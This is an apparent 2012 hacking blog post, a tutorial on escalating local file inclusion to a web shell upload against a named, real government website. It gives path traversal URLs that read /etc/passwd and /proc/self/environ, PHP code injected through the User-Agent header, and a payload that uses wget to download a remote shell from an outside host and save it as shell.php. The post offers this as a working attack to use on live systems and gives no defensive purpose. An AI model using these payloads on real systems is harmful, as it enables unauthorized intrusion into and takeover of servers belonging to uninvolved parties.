Monday, August 27, 2012

Local File Inclusion to shell upload


Tutorial provided by


Things you will need:

1) Site vulnerable to LFI ( http://www.bislig.gov.ph )
2) Remote shell ( http://www.sh3ll.org/egy.txt )
3) User-Agent switcher ( https://addons.mozilla.org/en-US/firefox/addon/user-agent-switcher/ )
4) Mozilla Firefox

First of all see if your site is vulnerable to LFI (I'm not going to explain how to find it or exploit it)
Try to open etc/passwd

Example:

Code:
http://www.bislig.gov.ph/content1.php?page=5&directLinks=../../../../../../../../../../../../../../etc/passwd


Ok fine...We can open etc/passwd
Now type proc/self/environ

Example:

Code:
http://www.bislig.gov.ph/content1.php?page=5&directLinks=../../../../../../../../../../../../../../proc/self/environ


Now download and install User-Agent switcher.

Go to Tools > Default User-Agent > Edit User Agents
You will get this window.

Now make new user-agent
Go to New > New User-Agent



Now leave everything as it is exept description and user-agent.
In description enter name of it (Mine is phpinfo)

In User-Agent paste this in there.


Code:
<?php phpinfo();?>


Select your User-Agent in Tools > Default User Agent > PHP Info (Or whatever you User Agent is called)

Go to your site and refresh it.




Now search for "disable_functions" (Ctrl+F Search function)

Mine is

Code:
disable_functions     | no value    | no value


That is good.We can spawn our shell now!

Now go back and edit your User-Agent.

Change "User-Agent" to:

Code:
<?exec('wget http://www.sh3ll.org/egy.txt -O shell.php');?>


(What this function do?. It downloads shell in .txt format and renames it as shell.php)

Save it and refresh your site.

Go to http://www.yourLFIsite.com/shell.php (Mine is http://www.bislig.gov.ph/shell.php )

Voila,we have our shell up.
Enjoy.

Related Posts:

  • XPath Injection using updatexml() function Tutorial provided by: -DownFall This is a detailed XPath Injection tutorial using the updatexml() method, I'd thought I'd make a quick tutorial for it. Extrac… Read More
  • Wordlists manipulation and generation with Backtrack 5R2 Crunch application Tutorial provided by Keeper Brief Introduction: Ok. This tutorial is going to introduce you with a Backtrack application called Crunch. Mos… Read More
  • Using Hydra after connecting to network Tutorial provided by Keeper After gaining access to your network, you can check the strength of your router's access passwords by using a tool called Hydra from THC. Hydra is… Read More
  • Full Ultimate Cross-Site Scripting (XSS) Tutorial Tutorial provided by Zer0Pwn Hello and thanks for reading this tutorial on XSS, written by me. You may be asking as to why I'm creating this tutorial. My inbox has lat… Read More
  • WPA Network hacking and cracking with oclHashcat-plus and Backtrack Tutorial provided by Keeper oclHashcat-plus is a CPU / GPU password cracker with a huge number of options able to handle a myriad of hash types. I w… Read More

0 comments:

Post a Comment